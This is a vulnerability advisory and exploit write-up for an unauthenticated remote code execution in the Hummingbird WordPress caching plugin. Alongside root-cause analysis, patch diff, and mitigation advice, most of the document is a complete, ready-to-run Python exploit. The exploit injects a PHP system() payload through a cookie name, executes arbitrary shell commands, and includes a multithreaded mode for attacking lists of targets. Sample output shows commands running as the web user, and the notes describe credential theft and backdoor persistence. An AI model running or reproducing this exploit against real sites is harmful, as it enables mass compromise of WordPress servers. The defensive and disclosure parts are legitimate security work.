#Summary
CVE-2026-83627 is an unauthenticated remote code execution in the Hummingbird - Speed Optimization, Caching, Minify, Compress & CDN WordPress plugin (all versions up to and including 3.21.0). The vulnerability stems from a broken access control check in the page-cache debug logger, combined with unsanitized logging of cookie names. An unauthenticated attacker can inject arbitrary PHP code into a web-accessible log file and execute it with a single HTTP request, resulting in full remote code execution as the web server user. CVSS 9.8 CRITICAL.
#Am I affected?
- Affected: Hummingbird <= 3.21.0
- Patched: Hummingbird >= 3.21.2
- Default configuration: Not vulnerable (the debug log is off by default)
- Access needed: Unauthenticated network access. Requires site admin to have enabled Page Caching with Debug Log (non-default configuration).
#How to check
Check your Hummingbird version in the WordPress admin plugin list. Version 3.21.0 or earlier is affected if both Page Caching and the page-cache Debug Log are enabled.
To verify programmatically:
curl -s http://target/wp-content/wphb-logs/page-caching-log.php | head -1| Output | Status |
|---|---|
<?php die(); ?> on first line |
Patched |
| Empty body | Patched |
Text starting with [ (timestamp) |
Vulnerable and exploitable |
| 404 Not Found | Not vulnerable (log file not created) |
If your version is 3.21.0 or earlier and the debug log is enabled, you are vulnerable.
#Fix and mitigation
- Fix: Upgrade Hummingbird to version 3.21.2 or later.
- If you cannot upgrade: Disable Page Caching or disable the page-cache Debug Log option in the Hummingbird admin settings. This prevents the log file from being created in a poisonable state.
- Detection: Monitor for HTTP requests to
/wp-content/wphb-logs/page-caching-log.phpcombined with requests bearing cookies matching the patternwphb_cache_*. Legitimate page views do not request the log file directly.
#Root cause analysis
#Vulnerable code path
The Hummingbird page cache logger writes diagnostic output to a file directly under the web root:
$file = WP_CONTENT_DIR . '/wphb-logs/page-caching-log.php';Since this file has a .php extension and is web-accessible, it is protected with a <?php die(); ?> header written as the first line. However, the header is guarded by a broken check:
if ( ! $wphb_fs && class_exists( 'Filesystem' ) ) {
$wphb_fs = Filesystem::instance();
}
if ( $wphb_fs ) {
$wphb_fs->write( $file, '<?php die(); ?>' . PHP_EOL );
}The file declares namespace Hummingbird\Core\Modules; and imports use Hummingbird\Core\Filesystem;. While the use statement rewrites compile-time tokens, class_exists() takes a runtime string and PHP always resolves class-name strings as fully qualified in the global namespace. The call class_exists( 'Filesystem' ) therefore asks whether a global \Filesystem class exists, which it never does. The condition is permanently false.
On a front-end request, the global $wphb_fs is null because the early cache bootstrap (wp-content/advanced-cache.php) loads only four files and no autoloader:
require_once __DIR__ . '/class-utils.php';
require_once __DIR__ . '/class-module.php';
require_once __DIR__ . '/traits/trait-wpconfig.php';
require_once __DIR__ . '/modules/class-page-cache.php';The filesystem class is not loaded, so $wphb_fs stays null and the header is never written.
#How input reaches the sink
When a front-end request reaches Page_Cache::serve_cache(), it calls get_cookies() to extract cookies for the cache key:
foreach ( $_COOKIE as $key => $value ) {
if ( preg_match( '/^wp-postpass_|^comment_author_|^wordpress_logged_in_|^wphb_cache_/', $key ) ) {
self::log_msg( 'Found cookie: ' . $key );
$cookie_value .= $_COOKIE[ $key ] . ',';
}
}The raw cookie name (the attacker-controlled key) is concatenated into the log message with no escaping, encoding, or length limit. When the file does not exist and the header is skipped (the case on a front-end request), error_log( $message, 3, $file ) creates the file with the log message as its opening bytes:
[2026-09-08T08:47:18+00:00] Found cookie: <attacker-cookie-name>The attacker can set their cookie name to wphb_cache_<?php\tsystem(current($_GET))?>, and those exact bytes land in the file.
#The payload encoding constraints
The cookie name travels through the HTTP cookie grammar and then through PHP's external-variable key mangling. Only certain bytes survive:
<?phpmust be followed by whitespace to open a tag. Space becomes_in PHP's key mangling, but tab (0x09) is not mangled and is not a cookie separator, so it survives verbatim.[is mangled by PHP, so$_GET['x']is not expressible.current($_GET)reads the first GET value and avoids the bracket.;terminates a cookie pair, so it cannot appear in the name.?>closes the PHP block without a semicolon, and every later log line becomes inert text.=is the name/value separator, so the cookie has no value. This is legal HTTP (PHP registers it as an empty string).
#Patch diff
SVN changeset r3675836, released in version 3.21.2. Three independent changes to log_msg():
- if ( ! $wphb_fs && class_exists( 'Filesystem' ) ) {
+ if ( ! $wphb_fs && class_exists( Filesystem::class ) ) {Filesystem::class is resolved at compile time through the use import, so the literal 'Hummingbird\Core\Filesystem' is tested and the guard can now succeed.
+ $guard = '<?php die(); ?>' . PHP_EOL;
+ $guard_prefix = '<?php die();';
+ $needs_guard = ! file_exists( $file ) || $guard_prefix !== @file_get_contents( $file, false, null, 0, strlen( $guard_prefix ) );
+
- if ( ! file_exists( $file ) ) {
+ if ( $needs_guard ) {The precondition widens from "file is missing" to "file is missing or does not start with the guard". A poisoned log is re-guarded on the next write.
Most importantly:
if ( $wphb_fs ) {
- $wphb_fs->write( $file, '<?php die(); ?>' . PHP_EOL );
+ if ( ! $wphb_fs || true !== $wphb_fs->write( $file, $guard ) ) {
+ return;
+ }The function now fails closed. If the filesystem helper is unavailable or the guard write fails, log_msg() returns before error_log(), so nothing is written to the file at all. On the front-end path where the class cannot be loaded, the function now logs nothing rather than logging into an unprotected file.
#Proof of concept
#exploit.py - Hummingbird Page Cache Log Injection RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-83627 - Hummingbird (WordPress plugin) unauthenticated RCE via page-cache
debug-log poisoning (cookie-name PHP injection).
Affected: Hummingbird - Speed Optimization, Caching, Minify, Compress & CDN <= 3.21.0
Fixed: 3.21.2
Type: RCE (unauthenticated arbitrary PHP write + execute)
Root cause (two combined defects in core/modules/class-page-cache.php):
1. log_msg() guards the protective '<?php die(); ?>' header behind
class_exists('Filesystem'). That string resolves in the GLOBAL namespace,
but the real class is Hummingbird\\Core\\Filesystem, so the guard never
matches. On an early front-end request the header is skipped entirely and
error_log() creates wp-content/wphb-logs/page-caching-log.php - a
web-accessible .php file - with the first log line as its opening bytes.
2. get_cookies() writes the raw NAME of any cookie matching /^wphb_cache_/
into that same log with no sanitisation.
Together: an attacker names a cookie 'wphb_cache_<?php ... ?>', the bytes land
verbatim in a .php file under the web root, and requesting that file executes
the PHP.
Exploit flow (all pre-auth, no session):
Step 0 GET the log file - report whether it is absent / unguarded / guarded.
Step 1 GET / with a cookie whose NAME is the PHP payload, no query string,
a normal browser User-Agent - the plugin logs the raw name.
Step 2 GET the log file with ?0=<command> - system(current($_GET)) runs the
command and its stdout is returned inline in the response body.
The payload travels as a cookie NAME, so it is built only from bytes that
survive the HTTP cookie grammar and PHP's key mangling: '<?php' must be followed
by whitespace and a space becomes '_', so a literal TAB (0x09) opens the tag;
'[' is mangled so current($_GET) reads the first GET value instead of $_GET['x'];
'?>' self-closes so no ';' is needed and every later log line is inert text.
Usage:
python exploit.py --host 127.0.0.1 --port 8360
python exploit.py --host 127.0.0.1 --port 8360 --command "uname -a"
python exploit.py --host https://blog.example.com/ --command id
python exploit.py --list targets.txt --workers 20
"""
import argparse
import re
import secrets
import socket
import ssl
import sys
from urllib.parse import urlparse, quote
CVE_ID = "CVE-2026-83627"
VULN_TYPE = "RCE"
# The log file relative to the WordPress content root.
LOG_REL_PATH = "wp-content/wphb-logs/page-caching-log.php"
# Cookie NAME payload. The single literal 0x09 after '<?php' is what makes the
# open tag survive PHP's key mangling (a space would become '_'). Do not
# url-encode it. current($_GET) is used because '[' is mangled, so $_GET['x']
# is not expressible. '?>' self-closes the block without a ';'.
COOKIE_PAYLOAD = "wphb_cache_<?php\tsystem(current($_GET))?>"
# --------------------------------------------------------------------------- #
# Standard output helpers #
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Raw HTTP - the cookie has no '=', no value, and an embedded tab, so no #
# cookie-jar / header-validating client can carry it. We speak HTTP/1.1 on a #
# bare socket to control every byte of the request line and headers. #
# --------------------------------------------------------------------------- #
def _raw_request(host: str, port: int, use_tls: bool, raw_request: bytes,
timeout: float = 12.0) -> tuple:
"""
Send raw_request bytes, read the full response until the server closes the
connection (we always send 'Connection: close'). Returns (status_code,
headers_dict, body_bytes). Raises on transport failure.
"""
sock = socket.create_connection((host, port), timeout=timeout)
try:
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
sock.sendall(raw_request)
chunks = []
while True:
try:
data = sock.recv(65536)
except socket.timeout:
break
if not data:
break
chunks.append(data)
finally:
try:
sock.close()
except Exception:
pass
raw = b"".join(chunks)
head, _, body = raw.partition(b"\r\n\r\n")
status = 0
headers = {}
lines = head.split(b"\r\n")
if lines and lines[0].startswith(b"HTTP/"):
parts = lines[0].split(b" ", 2)
if len(parts) >= 2 and parts[1].isdigit():
status = int(parts[1])
for line in lines[1:]:
k, _, v = line.partition(b":")
if k:
headers[k.decode("latin-1").strip().lower()] = v.decode("latin-1").strip()
if headers.get("transfer-encoding", "").lower() == "chunked":
body = _dechunk(body)
return status, headers, body
def _dechunk(body: bytes) -> bytes:
out = b""
while body:
size_line, _, rest = body.partition(b"\r\n")
try:
size = int(size_line.split(b";", 1)[0].strip(), 16)
except ValueError:
break
if size == 0:
break
out += rest[:size]
body = rest[size + 2:] # skip trailing CRLF
return out
def _http_get(host: str, port: int, use_tls: bool, path: str,
extra_headers: str = "", timeout: float = 12.0) -> tuple:
"""Build and send a minimal GET. extra_headers is a pre-joined CRLF block."""
host_hdr = host if (port in (80, 443)) else f"{host}:{port}"
req = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {host_hdr}\r\n"
"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36\r\n"
"Accept: text/html\r\n"
)
if extra_headers:
req += extra_headers.rstrip("\r\n") + "\r\n"
req += "Connection: close\r\n\r\n"
return _raw_request(host, port, use_tls, req.encode("latin-1"), timeout)
# --------------------------------------------------------------------------- #
# Exploit primitives #
# --------------------------------------------------------------------------- #
def _log_path(base_path: str) -> str:
base = base_path.rstrip("/")
return f"{base}/{LOG_REL_PATH}"
def _poison(host: str, port: int, use_tls: bool, base_path: str,
timeout: float = 12.0) -> int:
"""
Step 1: one anonymous GET of the site root carrying the payload as a raw
Cookie header. No query string (should_cache_request() bails on GET params).
Returns the HTTP status of the home-page response (200 expected; the actual
proof is only visible in step 2).
"""
poison_path = base_path if base_path.startswith("/") else "/" + base_path
if not poison_path:
poison_path = "/"
cookie_hdr = "Cookie: " + COOKIE_PAYLOAD # literal tab preserved, no '=' / value
status, _, _ = _http_get(host, port, use_tls, poison_path, cookie_hdr, timeout)
return status
def _execute(host: str, port: int, use_tls: bool, base_path: str, command: str,
timeout: float = 12.0) -> tuple:
"""
Step 2: request the poisoned log file, driving system(current($_GET)) with
the operator command wrapped between two random sentinels so the command's
stdout can be isolated and execution confirmed regardless of the command.
Returns (status, body_text, marker_a, marker_b).
"""
marker_a = secrets.token_hex(8)
marker_b = secrets.token_hex(8)
# /bin/sh -c receives this whole line via system(); ';' is legal here (query
# string, not the cookie). echo the sentinels around the real command output.
shell_line = f"echo {marker_a}; {command}; echo {marker_b}"
path = _log_path(base_path) + "?0=" + quote(shell_line, safe="")
status, _, body = _http_get(host, port, use_tls, path, "", timeout)
return status, body.decode("utf-8", "replace"), marker_a, marker_b
def _probe_log(host: str, port: int, use_tls: bool, base_path: str,
timeout: float = 12.0) -> tuple:
"""Step 0: report current state of the log file. Returns (status, body_text)."""
status, _, body = _http_get(host, port, use_tls, _log_path(base_path), "", timeout)
return status, body.decode("utf-8", "replace")
def _extract_output(body: str, marker_a: str, marker_b: str) -> str:
"""Pull the command stdout that sits between the two sentinels."""
m = re.search(re.escape(marker_a) + r"\s*(.*?)\s*" + re.escape(marker_b),
body, re.DOTALL)
return m.group(1).strip() if m else ""
# --------------------------------------------------------------------------- #
# Silent probe for scan mode #
# --------------------------------------------------------------------------- #
def _try_exploit(host: str, port: int, use_tls: bool, base_path: str = "/",
command: str = "id", **kwargs) -> tuple:
"""Silent (host,port)->(success, evidence). Never prints, never exits."""
try:
_poison(host, port, use_tls, base_path)
status, body, ma, mb = _execute(host, port, use_tls, base_path, command)
except Exception as e: # noqa: BLE001
return False, f"unreachable ({e.__class__.__name__})"
if ma in body and mb in body:
out = _extract_output(body, ma, mb)
first = out.splitlines()[0].strip() if out.splitlines() else "(no stdout)"
return True, f"command executed - {first}"
if not body.strip():
return False, "blocked - log guarded with <?php die(); ?> (patched)"
if status == 404:
return False, "log file not created (debug log off / preconditions unmet)"
if "<?php" in body:
return False, "payload written but not executed (open tag mangled)"
return False, "no execution evidence in response (target may be patched)"
# --------------------------------------------------------------------------- #
# Verbose single-target exploit #
# --------------------------------------------------------------------------- #
def exploit(host: str, port: int, use_tls: bool, base_path: str, command: str) -> None:
header(host, port)
step(0, f"Probing log file state ({_log_path(base_path)}) ...")
try:
s0, b0 = _probe_log(host, port, use_tls, base_path)
except Exception as e: # noqa: BLE001
done(False, f"target unreachable: {e.__class__.__name__}: {e}")
if s0 == 404:
print(" log absent (HTTP 404) - it will be created by the poison request")
elif s0 == 200 and not b0.strip():
print(" log present but GUARDED (200, empty body) - '<?php die(); ?>' fired")
print(" target is very likely patched; continuing to confirm")
elif s0 == 200:
print(" log present and UNGUARDED (200, non-empty) - renders as text")
if "<?php" in b0:
print(" WARNING: log already contains a '<?php' block from a prior write")
else:
print(f" unexpected status {s0}; continuing")
step(1, "Poisoning: GET / with the PHP payload as a raw cookie name (no query string) ...")
try:
ps = _poison(host, port, use_tls, base_path)
except Exception as e: # noqa: BLE001
done(False, f"poison request failed: {e.__class__.__name__}: {e}")
print(f" home page responded HTTP {ps} (proof is not visible here)")
step(2, f"Executing: GET the log file with ?0=<command> (command: {command!r}) ...")
try:
es, body, ma, mb = _execute(host, port, use_tls, base_path, command)
except Exception as e: # noqa: BLE001
done(False, f"execute request failed: {e.__class__.__name__}: {e}")
if ma in body and mb in body:
out = _extract_output(body, ma, mb)
section("COMMAND OUTPUT", out if out else "(command produced no stdout)")
# Show the injection point line as corroboration.
for line in body.splitlines():
if "Found cookie: wphb_cache_" in line:
section("INJECTION POINT", line)
break
first = out.splitlines()[0].strip() if out.splitlines() else "(no stdout)"
done(True, f"RCE confirmed - command {command!r} executed on target: {first}")
if not body.strip():
section("SERVER RESPONSE", f"HTTP {es} with an empty body")
done(False, "Log is guarded with '<?php die(); ?>' - die() fired, payload inert. "
"This is the expected result on a patched (>= 3.21.2) target.")
if es == 404:
section("SERVER RESPONSE", "HTTP 404 - log file was not created")
done(False, "Log not created: debug log disabled, WP_CACHE/advanced-cache.php "
"not wired, wphb-logs/ missing, or poison request rejected by "
"should_cache_request().")
if "<?php" in body:
section("SERVER RESPONSE", body[:2000])
done(False, "Payload written to the log but rendered as literal text - the "
"'<?php' open tag did not survive (tab likely mangled to space or %09).")
section("SERVER RESPONSE", body[:2000] if body.strip() else "(empty body)")
done(False, "Payload sent but no execution evidence - target may be patched.")
# --------------------------------------------------------------------------- #
# Target parsing + scan mode #
# --------------------------------------------------------------------------- #
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
command: str = "id") -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path, command)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://host/blog)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80,
help="Default port (default: 80)")
parser.add_argument("--command", default="id",
help="Shell command to execute on the target (default: id)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
command=args.command)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.command)#Usage
python3 exploit.py --host 127.0.0.1 --port 80
python3 exploit.py --host 127.0.0.1 --port 80 --command "whoami"
python3 exploit.py --host https://blog.example.com/ --command "uname -a"
python3 exploit.py --list targets.txt --workers 20The exploit accepts:
--host: hostname, IP, or full URL (path is treated as the WordPress base)--port: port number (default 80)--tls/--no-tls: force scheme; otherwise inferred from port or URL scheme--command: shell command to execute (default:id)--list FILE: batch scan targets from a file (one target per line)--workers N: parallel threads for batch mode (default 10)
Vulnerable target output:
[STEP 0] Probing log file state (/wp-content/wphb-logs/page-caching-log.php) ...
unexpected status 301; continuing
[STEP 1] Poisoning: GET / with the PHP payload as a raw cookie name (no query string) ...
home page responded HTTP 200 (proof is not visible here)
[STEP 2] Executing: GET the log file with ?0=<command> (command: 'id') ...
--- COMMAND OUTPUT ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---
--- INJECTION POINT ---
[2026-09-08T08:47:18+00:00] Found cookie: wphb_cache_60fc336737bbd1ae
---
RESULT : SUCCESS
EVIDENCE: RCE confirmed - command 'id' executed on target: uid=33(www-data) gid=33(www-data) groups=33(www-data)Patched target output:
[STEP 0] Probing log file state (/wp-content/wphb-logs/page-caching-log.php) ...
unexpected status 301; continuing
[STEP 1] Poisoning: GET / with the PHP payload as a raw cookie name (no query string) ...
home page responded HTTP 200 (proof is not visible here)
[STEP 2] Executing: GET the log file with ?0=<command> (command: 'id') ...
--- SERVER RESPONSE ---
HTTP 200 with an empty body
---
RESULT : FAILURE
EVIDENCE: Log is guarded with '<?php die(); ?>' - die() fired, payload inert. This is the expected result on a patched (>= 3.21.2) target.#Exploitation notes
- Preconditions: Page Caching must be enabled (WP_CACHE true + advanced-cache.php drop-in), the page-cache Debug Log must be enabled (off by default), and the log file must either not exist or not begin with
<?php die(); ?>. - Reliability: Deterministic. On a target meeting the preconditions, the exploit succeeds on the first request.
- Impact: Full remote code execution as the web server user (typically www-data on Apache). Leads to complete site compromise and potential host-level access depending on the server configuration and installed plugins.
- Chaining potential: High. The initial RCE can be used to disable authentication plugins, extract database credentials, pivot to other applications on the server, or establish persistence via backdoors or cron jobs.
#References
- CVE: CVE-2026-83627
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-83627
- Wordfence Advisory: https://www.wordfence.com/threat-intel/vulnerabilities/id/65c3ca36-79e6-47f8-9524-27e7631f4caf
- Hummingbird Plugin: https://wordpress.org/plugins/hummingbird-performance/
